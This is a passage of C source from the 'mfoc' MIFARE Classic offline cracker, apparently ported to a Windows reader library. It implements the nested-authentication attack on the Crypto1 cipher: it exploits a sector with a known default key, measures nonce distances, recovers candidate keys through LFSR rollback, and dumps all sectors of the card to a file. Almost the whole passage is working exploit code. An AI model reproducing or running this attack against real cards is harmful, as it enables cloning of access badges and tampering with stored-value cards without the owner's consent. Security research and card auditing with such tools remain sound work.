            failure = true;
            // Try A key, auth() + read()
            _ftprintf(stdout, TEXT("Reading block %d... "), block);
            fflush(stdout);
            if ((block&3) == 0)
            {
                if ((err = mfSetAK(&ccr, 0, t.sectors[i].KeyA)) != LERR_SUCCESS) goto error;
                if (((err = mfDataRead(&ccr, 7, MFDM_NMC | MFDM_BLOCK, PICC_AUTHENT1A, 0, block, 4, sc_dump[block], NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                    (err != LERR_INVALIDKEY) && (err != LERR_DATAREAD)) goto error;
            }
            else err = LERR_SUCCESS;
            if (err == LERR_SUCCESS)
            {
                _ftprintf(stdout, TEXT("\rBlock %02d, type %c, key %012llX :"), block, 'A', bytes_to_num(t.sectors[i].KeyA, 6));
                failure = FALSE;
            }
            else
            {
                // Error, now try read() with B key
                if ((err = mfSetAK(&ccr, 0, t.sectors[i].KeyB)) != LERR_SUCCESS) goto error;
                if (((err = mfDataRead(&ccr, 7, MFDM_NMC | MFDM_BLOCK, PICC_AUTHENT1B, 0, block, 1, sc_dump[block], NULL, NULL, NULL, NULL)) != LERR_SUCCESS) &&
                    (err != LERR_INVALIDKEY) && (err != LERR_DATAREAD)) goto error;
                if (err == LERR_SUCCESS)
                {
                    _ftprintf(stdout, TEXT("\rBlock %03d, type %c, key %012llX :"), block, 'B', bytes_to_num(t.sectors[i].KeyB, 6));
                    failure = FALSE;
                }
                else _ftprintf(stdout, TEXT("Fail! Maybe there is damaged trailer?\n"));
            }
            if (trailer_block(block))
            {
                // Copy the keys over from our key dump and store the retrieved access bits
                memcpy(sc_dump[block], t.sectors[i].KeyA, 6);
                memcpy(&sc_dump[block][10], t.sectors[i].KeyB, 6);
                i++;
            }
            if (!failure)
            {
                for (cnt = 0; cnt != 16; cnt++)
                    _ftprintf(stdout, TEXT("%02X"), sc_dump[block][cnt]);
                _ftprintf(stdout, TEXT("\n"));
            }
        }
        cnt = (t.num_blocks + 1) * 16;  // length of file
        // Finally save all keys + data to file
        if ((pfDump = _tfopen(argv[fnm_arg], TEXT("wb"))) == NULL)
        {
            _ftprintf(stdout, TEXT("\nCan't open dump file %s!\n"), argv[fnm_arg]);
            goto error;
        }
        if (fwrite(sc_dump, 1, cnt, pfDump) != cnt)
        {
            _ftprintf(stdout, TEXT("\nError, cannot write dump!\n"));
            goto error;
        }
    }
    else if ((err = mfBeep(&ccr, 1)) != LERR_SUCCESS) goto error;   // fail...

    err = LERR_SUCCESS;
    free(t.sectors);
    free(d.distances);
error:
    if (pfDump) fclose(pfDump);
    if (link_isopen(&ccr)) link_close(&ccr);
    if (err == LERR_FAIL)
        _ftprintf(stdout, TEXT("\nOperation failed!\n"));
    else if ((err == LERR_HARDWARE) || (err == LERR_NOREADER))
        _ftprintf(stdout, TEXT("\nCan't find reader or hardware error!\n"));
    else if (err == LERR_TIMEOUT_TX)
        _ftprintf(stdout, TEXT("\nTX timeout!\n"));
    else if (err == LERR_TIMEOUT_RX)
        _ftprintf(stdout, TEXT("\nRX timeout!\n"));
    else if (err == LERR_NOTSYNC)
        _ftprintf(stdout, TEXT("\nSynchronization lost!\n"));
    else if (err == LERR_IOERR)
        _ftprintf(stdout, TEXT("\nI/O error!\n"));
    else if (err == LERR_NOCARD)
        _ftprintf(stdout, TEXT("\nNo card!\n"));
    else if (err == LERR_INVALIDCARD)
        _ftprintf(stdout, TEXT("\nInvalid card type!\n"));
    else if (err == LERR_INVALIDKEY)
        _ftprintf(stdout, TEXT("\nInvalid authorization key or card type!\n"));
    else if (err == LERR_DATAREAD)
        _ftprintf(stdout, TEXT("\nCan't read data from card!\n"));
    else if (err == LERR_DATAWRITE)
        _ftprintf(stdout, TEXT("\nCan't write data to card!\n"));
    return 0;
}

void usage(FILE *stream)
{
    _ftprintf(stream, TEXT("Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n\n"));
    _ftprintf(stream, TEXT("  h     print this help and exit\n"));
//  _ftprintf(stream, TEXT("  B     instead of 'A' dump 'B' keys\n"));
    _ftprintf(stream, TEXT("  k     try the specified key in addition to the default keys\n"));
//  _ftprintf(stream, TEXT("  D     number of distance probes, default is 20\n"));
//  _ftprintf(stream, TEXT("  S     number of sets with keystreams, default is 5\n"));
    _ftprintf(stream, TEXT("  P     number of probes per sector, instead of default of %d\n"), DEFAULT_PROBES_NR);
    _ftprintf(stream, TEXT("  T     nonce tolerance half-range, instead of default of %d\n        (i.e., 40 for the total range, in both directions)\n"), DEFAULT_TOLERANCE);
//  _ftprintf(stream, TEXT("  s     specify the list of sectors to crack, for example -s 0,1,3,5\n"));
    _ftprintf(stream, TEXT("  APHD  ON|OFF, autosearch mode for PHD level\n"));
    _ftprintf(stream, TEXT("  O     file in which the card contents will be written (REQUIRED)\n\n"));
    _ftprintf(stream, TEXT("  COMnn <baud_rate> to set COM-port connection\n\n"));
    _ftprintf(stream, TEXT("Example: mfoc -O mycard.mfd\n"));
    _ftprintf(stream, TEXT("Example: mfoc -O mycard.mfd -COM12 9600\n"));
    _ftprintf(stream, TEXT("Example: mfoc -k 0xFFFFEEEEDDDD -O mycard.mfd\n"));
    _ftprintf(stream, TEXT("Example: mfoc -P 50 -T 30 -O mycard.mfd\n\n"));
    _ftprintf(stream, TEXT("This is mfoc version %s.\n"), PACKAGE_VERSION);
}

int trailer_block(DWORD block)
{
    // Test if we are in the small or big sectors
    return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0);
}

// Return position of sector if it is encrypted with the default key otherwise exit..
int find_exploit_sector(mftag t)
{
    int i;
    bool interesting = FALSE;

    for (i = 0; i < t.num_sectors; i++)
    {
        if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB)
        {
            interesting = true;
            break;
        }
    }
    if (!interesting)
    {
        _ftprintf(stdout, TEXT("We have all sectors encrypted with the default keys...\n\n"));
        return -1;
    }
    for (i = 0; i < t.num_sectors; i++)
    {
        if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB))
        {
            _ftprintf(stdout, TEXT("Using sector %02d as an exploit sector.\n"), i);
            return i;
        }
    }
    _ftprintf(stdout, TEXT("No sector encrypted with the default key has been found, exiting..."));
    return -2;
}

BYTE oddparity(BYTE bt)
{
    return (0x9669 >> ((bt ^ (bt >> 4)) & 0xF)) & 1;
}

int mf_enhanced_auth(int e_sector, int a_sector, mftag t, PCCR pccr, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
{
    #define RNDROTATION_TM      30  // charge constant
    int         itt = 8;
    DWORD       err = LERR_FAIL;
    BYTE        RxBitlen;

    struct Crypto1State *pcs;
    struct Crypto1State *revstate;
    struct Crypto1State *revstate_start;

    DWORD64 lfsr;

    // Possible key counter, just continue with a previous "session"
    DWORD kcount;

    BYTE Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
    BYTE Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
    BYTE AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
    BYTE AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

    BYTE ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
    BYTE ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };

    BYTE Rx[MAX_FRAME_LEN];     // Tag response
    BYTE RxPar[MAX_FRAME_LEN];  // Tag response

    DWORD Nt, NtLast, NtProbe, NtEnc, Ks1;

    int i;
    DWORD m;
    DWORD sk = pk->size;

eauth_loop:
    pk->size = sk;
    kcount = pk->size;
    pcs = NULL;
    revstate = NULL;
    revstate_start = NULL;

    // reset card
    if ((err = mfBrkCarrier(pccr, 30)) != LERR_SUCCESS) goto ferr_exit;
    // select card
    if ((err = mfSelect(pccr, 7, PICC_REQALL, NULL, NULL, NULL, NULL)) != LERR_SUCCESS) goto ferr_exit;

    // Prepare AUTH command
    Auth[0] = (t.sectors[e_sector].foundKeyA) ? PICC_AUTHENT1A : PICC_AUTHENT1B;
    mfAppendCrcA(Auth, 2);
    //_ftprintf(stdout, TEXT("\nAuth command:\t"));
    //print_hex(Auth, 4);

    if (((err = mfLong(pccr, Auth, 2, Rx, &RxBitlen)) != LERR_SUCCESS) && (err != LERR_FAIL)) goto ferr_exit;
    if (RxBitlen != 32)
    {
        err = LERR_FAIL;
        goto ferr_exit;
    }
    // _ftprintf(stdout, TEXT("Rx:")); print_hex(Rx, 4);

    // Save the tag nonce (Nt)
    Nt = (DWORD)bytes_to_num(Rx, 4);

    // Init the cipher with key {0..47} bits
    if (t.sectors[e_sector].foundKeyA)
    {
        pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
    }
    else
    {
        pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
    }

    // Load (plain) uid^nt into the cipher {48..79} bits
    crypto1_word(pcs, (DWORD)bytes_to_num(Rx, 4) ^ t.authuid, 0);
    // Generate (encrypted) nr+parity by loading it into the cipher
    for (i = 0; i < 4; i++)
    {
        // Load in, and encrypt the reader nonce (Nr)
        ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
        ArEncPar[i] = filter(pcs->odd) ^ oddparity((BYTE)Nr[i]);
    }
    // Skip 32 bits in the pseudo random generator
    Nt = prng_successor(Nt, 32);
    // Generate reader-answer from tag-nonce
    for (i = 4; i < 8; i++)
    {
        // Get the next random byte
        Nt = prng_successor(Nt, 8);
        // Encrypt the reader-answer (Nt' = suc2(Nt))
        ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff);
        ArEncPar[i] = filter(pcs->odd) ^ oddparity((BYTE)Nt);
    }
    // Transmit reader-answer
    //_ftprintf(stdout, TEXT("\t{Ar}:\t"));
    //print_hex(ArEnc, 8);
    // print_hex_par(ArEnc, 64, ArEncPar);
    if (((err = mfIO(pccr, ArEnc, 8, ArEncPar, Rx, &RxBitlen, RxPar)) != LERR_SUCCESS) &&
        (err != LERR_FAIL)) goto ferr_exit;
    if (RxBitlen != 32)
    {
        err = LERR_FAIL;
        goto ferr_exit;
    }
    // Now print the answer from the tag
    //_ftprintf(stdout, TEXT("\t{At}:\t"));
    //print_hex(Rx,4);
    // print_hex_par(Rx,RxLen,RxPar);

    // Decrypt the tag answer and verify that suc3(Nt) is At
    Nt = prng_successor(Nt, 32);
    if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF)))
    {
        // _ftprintf(stdout, TEXT("\n[At] is not Suc3(Nt), something is wrong, exiting..."));
        err = LERR_FAIL;
        goto ferr_exit;
    }
    //_ftprintf(stdout, TEXT("\nAuthentication completed.\n"));
    // If we are in "Get Distances" mode
    if (mode == 'd')
    {
        for (m = 0; m < d->num_distances; m++)
        {
            Sleep(RNDROTATION_TM);  // ATTENTION!!! TIME for pseudo random generator rotation!!!!

            //_ftprintf(stdout, TEXT("\n[D-mode] Nested Auth number: %x: "), m);
            // Encrypt Auth command with the current keystream
            for (i = 0; i < 4; i++)
            {
                AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
                // Encrypt the parity bits with the 4 plaintext bytes
                AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
            }
            // Sending the encrypted Auth command
            if (((err = mfIO(pccr, AuthEnc, 4, AuthEncPar, Rx, &RxBitlen, RxPar)) != LERR_SUCCESS) &&
                (err != LERR_FAIL)) goto ferr_exit;
            if (RxBitlen != 32)
            {
                err = LERR_FAIL;
                goto ferr_exit;
            }
            // Decrypt the encrypted auth
            if (t.sectors[e_sector].foundKeyA)
            {
                pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6));
            }
            else
            {
                pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6));
            }
            NtLast = (DWORD)bytes_to_num(Rx, 4) ^ crypto1_word(pcs, (DWORD)bytes_to_num(Rx, 4) ^ t.authuid, 1);

            // Save the determined nonces distance
            d->distances[m] = nonce_distance(Nt, NtLast);
            // _ftprintf(stdout, TEXT("distance: %05d\n"), d->distances[m]);

            // Again, prepare and send {At}
            for (i = 0; i < 4; i++)
            {
                ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i];
                ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]);
            }
            Nt = prng_successor(NtLast, 32);
            for (i = 4; i < 8; i++)
            {
                Nt = prng_successor(Nt, 8);
                ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt & 0xFF);
                ArEncPar[i] = filter(pcs->odd) ^ oddparity((BYTE)Nt);
            }
            if (((err = mfIO(pccr, ArEnc, 8, ArEncPar, Rx, &RxBitlen, RxPar)) != LERR_SUCCESS) &&
                (err != LERR_FAIL)) goto ferr_exit;
            if (RxBitlen != 32)
            {
                //_ftprintf(stdout, TEXT("\nReader-answer transfer error, exiting..."));
                err = LERR_FAIL;
                goto ferr_exit;
            }
            Nt = prng_successor(Nt, 32);
            if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF)))
            {
                //_ftprintf(stdout, TEXT("\n[At] is not Suc3(Nt), something is wrong, exiting..."));
                err = LERR_FAIL;
                goto ferr_exit;
            }
        } // Next auth probe

        // Find median from all distances
        d->median = median(*d);
        //_ftprintf(stdout, TEXT("\nMedian: %05d\n"), d->median);
    } // The end of Get Distances mode

    // If we are in "Get Recovery" mode
    if (mode == 'r')
    {
        //_ftprintf(stdout, TEXT("\n[R-mode]\n"));
        Sleep(RNDROTATION_TM);  // ATTENTION!!! TIME for pseudo random generator rotation!!!!

        // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
        Auth[0] = dumpKeysA ? PICC_AUTHENT1A : PICC_AUTHENT1B;
        Auth[1] = a_sector;
        mfAppendCrcA(Auth, 2);

        // Encryption of the Auth command, sending the Auth command
        for (i = 0; i < 4; i++)
        {
            AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
            // Encrypt the parity bits with the 4 plaintext bytes
            AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
        }
        if (((err = mfIO(pccr, AuthEnc, 4, AuthEncPar, Rx, &RxBitlen, RxPar)) != LERR_SUCCESS) &&
            (err != LERR_FAIL)) goto ferr_exit;
        if (RxBitlen != 32)
        {
            //_ftprintf(stdout, TEXT("while requesting encrypted tag-nonce"));
            err = LERR_FAIL;
            goto ferr_exit;
        }
        // Save the encrypted nonce
        NtEnc = (DWORD)bytes_to_num(Rx, 4);
        // Parity validity check
        for (i = 0; i < 3; ++i)
        {
            d->parity[i] = (oddparity(Rx[i]) != RxPar[i]);
        }
        // Iterate over Nt-x, Nt+x
        //_ftprintf(stdout, TEXT("[R-mode] Iterate from %d to %d\n"), d->median - d->tolerance, d->median + d->tolerance);
        NtProbe = prng_successor(Nt, d->median - d->tolerance);
        for (m = d->median - d->tolerance; m <= d->median + d->tolerance; m += 2)
        {
            //_ftprintf(stdout, TEXT("Median = %d\n"), m);

            // Try to recover the keystream1
            Ks1 = NtEnc ^ NtProbe;
            // Skip this nonce after invalid 3b parity check
            revstate_start = NULL;
            if (valid_nonce(NtProbe, NtEnc, Ks1, d->parity))
            {
                // And finally recover the first 32 bits of the key
                revstate = lfsr_recovery32(Ks1, NtProbe ^ t.authuid);
                if (revstate_start == NULL)
                {
                    revstate_start = revstate;
                }
                while ((revstate->odd != 0) || (revstate->even != 0))
                {
                    lfsr_rollback_word(revstate, NtProbe ^ t.authuid, 0);
                    crypto1_get_lfsr(revstate, &lfsr);
                    // Allocate a new space for keys
                    if (((kcount % MEM_CHUNK) == 0) || (kcount >= pk->size))
                    {
                        pk->size += MEM_CHUNK;
                        //_ftprintf(stdout, TEXT("New chunk by %d, sizeof %lu\n"), kcount, pk->size * sizeof(DWORD64));
                        pk->possibleKeys = (DWORD64 *)realloc((void *)pk->possibleKeys, pk->size * sizeof(DWORD64));
                        if (pk->possibleKeys == NULL)
                        {
                            //_ftprintf(stdout, TEXT("Memory allocation error for pk->possibleKeys"));
                            err = LERR_FAIL;
                            goto ferr_exit;
                        }
                    }
                    pk->possibleKeys[kcount] = lfsr;
                    kcount++;
                    revstate++;
                }
                free(revstate_start);
                revstate_start = NULL;
            }
            NtProbe = prng_successor(NtProbe, 2);
        }
        // Truncate
        if (kcount != 0)
        {
            pk->size = --kcount;
            if ((pk->possibleKeys = (DWORD64 *)realloc((void *)pk->possibleKeys, pk->size * sizeof(DWORD64))) == NULL)
            {
                //_ftprintf(stdout, TEXT("\nMemory allocation error for pk->possibleKeys!..\n"));
                err = LERR_FAIL;
                goto ferr_exit;
            }
        }
    }
    err = LERR_SUCCESS;
ferr_exit:
    if (pcs) crypto1_destroy(pcs);
    if (revstate_start) crypto1_destroy(revstate_start);
    if ((err != LERR_SUCCESS) && (--itt)) goto eauth_loop;
    return itt;
}

// Return the median value from the nonce distances array
DWORD median(denonce d)
{
    int middle = (int) d.num_distances / 2;

    qsort(d.distances, d.num_distances, sizeof(DWORD), compar_int);

    if (d.num_distances % 2 == 1)
    {
        // Odd number of elements
        return d.distances[middle];
    }
    else
    {
        // Even number of elements, return the smaller value
        return (DWORD)(d.distances[middle - 1]);
    }
}

int __cdecl compar_int(const void *a, const void *b)
{
    return (DWORD)(*(DWORD64 *)b - * (DWORD64 *)a);
}

// Compare countKeys structure
int __cdecl compar_special_int(const void *a, const void *b)
{
    return (((countKeys *)b)->count - ((countKeys *)a)->count);
}

countKeys *uniqsort(DWORD64 *possibleKeys, DWORD size)
{
    unsigned int i, j = 0;
    int count = 0;
    countKeys *our_counts;

    qsort(possibleKeys, size, sizeof(DWORD64), compar_int);

    our_counts = (countKeys*)calloc(size, sizeof(countKeys));
    if (our_counts == NULL)
    {
        _ftprintf(stdout, TEXT("\nMemory allocation error for our_counts!\n"));
        exit(EXIT_FAILURE);
    }

    for (i = 0; i < size; i++)
    {
        if (possibleKeys[i + 1] == possibleKeys[i])
        {
            count++;
        }
        else
        {
            our_counts[j].key = possibleKeys[i];
            our_counts[j].count = count;
            j++;
            count = 0;
        }
    }
    qsort(our_counts, j, sizeof(countKeys), compar_special_int);
    return (our_counts);
}

// Return 1 if the nonce is invalid else return 0
int valid_nonce(DWORD Nt, DWORD NtEnc, DWORD Ks1, BYTE *parity)
{
  return ((odd_parity((Nt >> 24) & 0xFF) == ((parity[0]) ^ odd_parity((NtEnc >> 24) & 0xFF) ^ BIT(Ks1, 16))) & \
          (odd_parity((Nt >> 16) & 0xFF) == ((parity[1]) ^ odd_parity((NtEnc >> 16) & 0xFF) ^ BIT(Ks1, 8))) & \
          (odd_parity((Nt >> 8) & 0xFF) == ((parity[2]) ^ odd_parity((NtEnc >> 8) & 0xFF) ^ BIT(Ks1, 0)))) ? 1 : 0;
}

void num_to_bytes(DWORD64 n, DWORD len, BYTE *dest)
{
    while (len--)
    {
        dest[len] = (BYTE)n;
        n >>= 8;
    }
}

DWORD64 bytes_to_num(BYTE *src, DWORD len)
{
    DWORD64 num = 0;
    while (len--)
    {
        num = (num << 8) | (*src);
        src++;
    }
    return num;
}
/*
void print_hex(PBYTE buf, DWORD len)
{
    DWORD       cnt;

    for (cnt = 0; cnt < len; cnt++)
    {
        _ftprintf(stdout, TEXT("%02X"), buf[cnt]);
    }
} */